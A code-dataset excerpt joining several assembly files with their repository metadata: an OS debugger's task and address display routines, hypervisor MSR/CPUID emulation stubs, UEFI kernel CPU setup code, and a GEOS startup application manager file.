MOV DWORD PTR dbgY, 0
RETN
;===========================
;Displays Tasks that are active along with
;pertinent address info about them
dbgDispTasks:
MOV DWORD PTR dbgGPdd2, 1 ;Task# we are on
dbgDT00:
CALL FWORD PTR _ClrScr
PUSH 0 ;Col
PUSH 0 ;Line for labels
PUSH OFFSET dbgTaskMsg ;
PUSH 54 ;Length of message
PUSH 07h
CALL FWORD PTR _PutVidChars ;
MOV DWORD PTR dbgGPdd1, 1 ;line we are one
;First we get pTSS and see if it is valid
;If so, we get all the data BEFORE we display it
;If not, we increment TSS number and go back
;for the next one
dbgDT01:
;We get pJCB out of TSS and get JobNum from JCB
MOV EAX, dbgGPdd2 ; Task number
CMP EAX, 1 ; Is this TSS 1 (Static memory)
JNE dbgDT02
MOV EBX, OFFSET MonTSS ;
JMP SHORT dbgDT04
dbgDT02:
CMP EAX, 2 ; Is this TSS 2 (Static memory)
JNE dbgDT03
MOV EBX, OFFSET DbgTSS ;
JMP SHORT dbgDT04
dbgDT03:
MOV EBX, pDynTSSs
DEC EAX ;Make TSS Num offset in dynamic array
DEC EAX ;of TSSs
DEC EAX
MOV ECX, 512
MUL ECX
ADD EBX, EAX ;EBX points to TSS!
dbgDT04:
;EBX has pTSS of interest
MOV dbgGPdd5, EBX ;Save pTSS for display
XOR ECX, ECX ;
MOV CL, [EBX+Priority] ;Priotity of this task
MOV dbgGPdd6, ECX
MOV EAX, [EBX+TSS_pJCB] ;EAX has pJCB
OR EAX, EAX ;NON zero means it's valid
JNZ dbgDT05
MOV EAX, dbgGPdd2 ;Not used, go for next Task number
INC EAX
CMP EAX, nTSS ;
JE dbgDT06
MOV dbgGPdd2, EAX
JMP SHORT dbgDT01 ;back for next one
dbgDT05:
;EAX now pJCB
MOV dbgGPdd4, EAX ;Save pJCB for display
MOV EBX, [EAX] ;Job number is first DD in JCB
MOV dbgGPdd3, EBX
PUSH dbgGPdd2 ;Convert TSS number for display
PUSH OFFSET dbgBuf
CALL DDtoHex
PUSH 0 ;Col
PUSH dbgGPdd1 ;Line we are one
PUSH OFFSET dbgBuf ;TaskNum
PUSH 8
PUSH 07h
CALL FWORD PTR _PutVidChars ;
PUSH dbgGPdd3 ;Convert and display Job number
PUSH OFFSET dbgBuf ;
CALL DDtoHex
PUSH 10 ;Col
PUSH dbgGPdd1 ;Line we are one
PUSH OFFSET dbgBuf ;
PUSH 8 ;Size
PUSH 07h
CALL FWORD PTR _PutVidChars ;
PUSH dbgGPdd4 ;Convert and display pJCB
PUSH OFFSET dbgBuf ;
CALL DDtoHex
PUSH 20 ;Col
PUSH dbgGPdd1 ;Line we are one
PUSH OFFSET dbgBuf ;
PUSH 8 ;Size
PUSH 07h
CALL FWORD PTR _PutVidChars ;
PUSH dbgGPdd5 ;Convert and display pTSS
PUSH OFFSET dbgBuf ;
CALL DDtoHex
PUSH 30 ;Col
PUSH dbgGPdd1 ;Line we are one
PUSH OFFSET dbgBuf ;
PUSH 8 ;Size
PUSH 07h
CALL FWORD PTR _PutVidChars ;
PUSH dbgGPdd6 ;Convert and display Priority
PUSH OFFSET dbgBuf ;
CALL DDtoHex
PUSH 40 ;Col
PUSH dbgGPdd1 ;Line we are one
PUSH OFFSET dbgBuf ;
PUSH 8 ;Size
PUSH 07h
CALL FWORD PTR _PutVidChars ;
MOV EAX, dbgGPdd2 ;go for next Task number
INC EAX
CMP EAX, nTSS ;
JE dbgDT06
MOV dbgGPdd2, EAX ;Save it for the top
INC dbgGPdd1 ;Next line
CMP DWORD PTR dbgGPdd1, 23 ;23 lines yet?
JAE dbgDT06 ;Yes, continue prompt
JMP dbgDT01 ;No, go back for next
dbgDT06:
PUSH 0 ;Col
PUSH 24 ;Line
PUSH OFFSET dbgCont ;
PUSH 31 ;length of Cont string
PUSH 07h
CALL FWORD PTR _PutVidChars ;
MOV EAX, OFFSET dbgKeyCode
PUSH EAX
CALL ReadDbgKbd
MOV EAX, dbgKeyCode
AND EAX, 0FFh ;Lop off key status bytes
CMP EAX, 1Bh ;Escape (Quit??)
JE dbgDTDone
JMP dbgDT00 ;Back for next screen
dbgDTDone:
CALL FWORD PTR _ClrScr
MOV DWORD PTR dbgX, 0
MOV DWORD PTR dbgY, 0
RETN
;=============================================================================
; This is for Debugger Address Info display
; Call with:
; EAX loaded with address to display (Linear Address)
; ESI loaded with EA of text line to display
; We save all registers cause the vid calls don't
;=============================================================================
DispAddr:
PUSHAD
PUSH EAX ;Save number to display
PUSH ESI ;ptr to line
PUSH 06h ;Length of line
PUSH 07h ;Vid Attribute
CALL FWORD PTR _TTYOut ;Do it
POP EAX ;Get number back for display
PUSH EAX
PUSH OFFSET dbgBuf
CALL DDtoHex
PUSH OFFSET dbgBuf
PUSH 8
PUSH 07h
CALL FWORD PTR _TTYOut
PUSH OFFSET dbgCRLF
PUSH 2
PUSH 07h
CALL FWORD PTR _TTYOut
CALL dbgCheckScroll
POPAD
RETN
;===============================================
;DbgInfo - Displays important linear address for the OS
DbgInfo:
MOV ESI,OFFSET DbgM0 ;IDT
LEA EAX, IDT
CALL DispAddr
MOV ESI,OFFSET DbgM1 ;GDT
LEA EAX, GDT
CALL DispAddr
MOV ESI,OFFSET DbgM2 ;RQBs
MOV EAX, pRQBs
CALL DispAddr
MOV ESI,OFFSET DbgM3 ;MonTSS
MOV EAX, OFFSET MonTSS
CALL DispAddr
MOV ESI,OFFSET DbgM4 ;pTSS3
MOV EAX, pDynTSSs
CALL DispAddr
MOV ESI,OFFSET DbgM5 ;LBs
LEA EAX, rgLBs
CALL DispAddr
MOV ESI,OFFSET DbgM6 ;RdyQ
LEA EAX, RdyQ
CALL DispAddr
MOV ESI,OFFSET DbgM7 ;JCBs
MOV EAX, pJCBs
CALL DispAddr
MOV ESI,OFFSET DbgM8 ;SVCs
LEA EAX, rgSVC
CALL DispAddr
MOV ESI,OFFSET DbgM9 ;Exchs
MOV EAX, prgExch
CALL DispAddr
MOV ESI,OFFSET DbgPA ;PAM (Page Allocation map)
LEA EAX, rgPAM
CALL DispAddr
MOV ESI,OFFSET DbgMB ;Timer Blocks
LEA EAX, rgTmrBlks
CALL DispAddr
RETN
;=======================================================
;All of the debugger text is displayed in a window
;between colums 0 and 66, and line 0 to 24. The other
;areas are resrved for the menu, query line,
;and the register display.
;This checks to see if the cursor is on line 23.
;If so, we scroll up the text area by one line.
dbgCheckScroll:
LEA EAX,dbgX ;Query XY (See what line and Col)
PUSH EAX
LEA EAX,dbgY
PUSH EAX
CALL FWORD PTR _GetXY
CMP DWORD PTR dbgY, 23 ;Are we at bottom (just above menu)??
JB dbgNoScroll ;No, go back for next key
PUSH 0 ;Yes, Scroll test area (Col 0-64, Line 0-24)
PUSH 0
PUSH 66 ;Columns 0-65
PUSH 24 ;Lines 0-23
PUSH 1 ;fUp (1)
CALL FWORD PTR _ScrollVid
PUSH 0 ;Got to Column 0, Line 22
PUSH 22
CALL FWORD PTR _SetXY
dbgNoScroll:
RETN
;
;=======================================================
;Clear the query line (Line 23, 40 chars)
dbgClearQuery:
PUSH 0 ;Col 0, Line 23
PUSH 23
PUSH OFFSET dbgClear
PUSH 40
PUSH 07h
CALL FWORD PTR _PutVidChars ;ignore error
RETN
;===================== module end ======================
| 24.074568
| 79
| 0.631998
|
206b7ae9cd47ba9851c3fe0978dd88214f20fbf6
| 288
|
asm
|
Assembly
|
vmx_emu.asm
|
nohajc/BlueGuard
|
b99f5f8f50049b29c25bae833daa9f8c86d685fd
|
[
"BSD-2-Clause"
] | 17
|
2016-09-23T21:59:43.000Z
|
2022-01-06T09:33:20.000Z
|
vmx_emu.asm
|
DeviceObject/BlueGuard
|
b99f5f8f50049b29c25bae833daa9f8c86d685fd
|
[
"BSD-2-Clause"
] | null | null | null |
vmx_emu.asm
|
DeviceObject/BlueGuard
|
b99f5f8f50049b29c25bae833daa9f8c86d685fd
|
[
"BSD-2-Clause"
] | 8
|
2016-11-02T02:28:47.000Z
|
2020-06-16T18:31:24.000Z
|
global emu_rdmsr
global emu_wrmsr
global emu_cpuid
section .text
emu_rdmsr:
mov r9,rdx
rdmsr
mov [r9],rdx
mov [r8],rax
ret
emu_wrmsr:
mov rax,r8
wrmsr
ret
emu_cpuid:
mov r10,rcx
mov r11,rdx
mov rax,[r10]
cpuid
mov [r10],rax
mov [r11],rbx
mov [r8],rcx
mov [r9],rdx
ret
| 10.285714
| 16
| 0.694444
|
1792db0e1edf5cae48e1ae5be2be6d7abc6bc795
| 619
|
asm
|
Assembly
|
src/kernel/asm/cpu/cpu.asm
|
Krzem5/Assembly-64Bit_Uefi_Kernel
|
d4b3e878b667d6fb2b54e8e9ec08f5dc15aefeeb
|
[
"BSD-3-Clause"
] | 4
|
2021-03-06T12:01:16.000Z
|
2021-04-19T12:35:26.000Z
|
src/kernel/asm/cpu/cpu.asm
|
Krzem5/Assembly-64Bit_Uefi_Kernel
|
d4b3e878b667d6fb2b54e8e9ec08f5dc15aefeeb
|
[
"BSD-3-Clause"
] | null | null | null |
src/kernel/asm/cpu/cpu.asm
|
Krzem5/Assembly-64Bit_Uefi_Kernel
|
d4b3e878b667d6fb2b54e8e9ec08f5dc15aefeeb
|
[
"BSD-3-Clause"
] | null | null | null |
bits 64
global asm_current_cpu
global asm_cpu_setup_data
extern asm_apic_setup
section .unmap
asm_cpu_setup_data:
mov r8, rcx
mov rcx, __C_MSR_APIC_BASE__
rdmsr
shl rdx, 32
or rax, rdx
mov rcx, rax
xor ax, ax
mov qword [r8 + __C_CPU_STRUCT_APIC_OFFSET__], rax
push rax
xor rax, rax
mov eax, r8d
mov rcx, __C_MSR_GS_BASE__
mov rdx, r8
shr rdx, 32
wrmsr
pop rcx
mov eax, dword [rcx + (__C_APIC_ID_REGISTER__ * __C_SIZEOF_UINT32_T__)]
shr eax, 24
mov byte [r8 + __C_CPU_STRUCT_ID_OFFSET__], al
jmp asm_apic_setup
section .text
asm_current_cpu:
mov rax, qword [gs:__C_CPU_STRUCT_S_OFFSET__]
ret
| 16.72973
| 72
| 0.764136
|
695c813ad29aceaaa86cc3183ed1536ea9ea5007
| 2,461
|
asm
|
Assembly
|
Appl/Startup/RStartup/rstartupManager.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 504
|
2018-11-18T03:35:53.000Z
|
2022-03-29T01:02:51.000Z
|
Appl/Startup/RStartup/rstartupManager.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 96
|
2018-11-19T21:06:50.000Z
|
2022-03-06T10:26:48.000Z
|
Appl/Startup/RStartup/rstartupManager.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 73
|
2018-11-19T20:46:53.000Z
|
2022-03-29T00:59:26.000Z
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
(c) Copyright Geoworks 1995 -- All Rights Reserved
GEOWORKS CONFIDENTIAL
PROJECT: PC GEOS
MODULE: Start up application
FILE: rstartupManager.asm
AUTHOR: Jason Ho, Apr 3, 1995
REVISION HISTORY:
Name Date Description
---- ---- -----------
kho 4/ 3/95 Initial revision
DESCRIPTION:
Manager file for Start up application
$Id: rstartupManager.asm,v 1.1 97/04/04 16:52:42 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
;------------------------------------------------------------------------------
; Include files
;------------------------------------------------------------------------------
include stdapp.def
include Objects/winC.def
include assert.def
include rwtime.def ; World time stuffs
include initfile.def ; to read init file stuffs
include timedate.def ; for date/time stuffs
include contdb.def
include foamdb.def
include system.def ; SysShutdown stuffs
include fileEnum.def ; for deleting stuffs
include Internal/patch.def ; for IsMultiLanguageModeOn
include sysstats.def ; SGIT_UI_PROCESS / SysGetInfo shme..
include Internal/Resp/eci_oem.def ; eci stuffs
;------------------------------------------------------------------------------
; Libraries used
;------------------------------------------------------------------------------
UseLib ui.def
UseLib foam.def
UseLib rwtime.def
;
; Include our definitions here so that we can use the classes in ui.def as
; our superclasses.
;
include rstartup.def
if DO_ECI_SIM_CARD_CHECK
UseLib Internal/Resp/vp.def
include Internal/Resp/vpmisc.def ; misc vp consts from Reza
; will not need this when we
; get the revised version.
endif
;
; There must be an instance of every class in idata.
;
; idata segment
; idata ends
;------------------------------------------------------------------------------
; Resources
;------------------------------------------------------------------------------
include rstartup.rdef ; include compiled UI definitions
include rstartupProcess.asm ; Code for Process class
include rstartupECI.asm ; Code to handle ECI messages
include rstartupLangList.asm ; Code for Language Dynamic List class
include rstartupUtils.asm ; misc utils
include rstartupApp.asm ; Code for application class
| 30.382716
| 80
| 0.533117
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.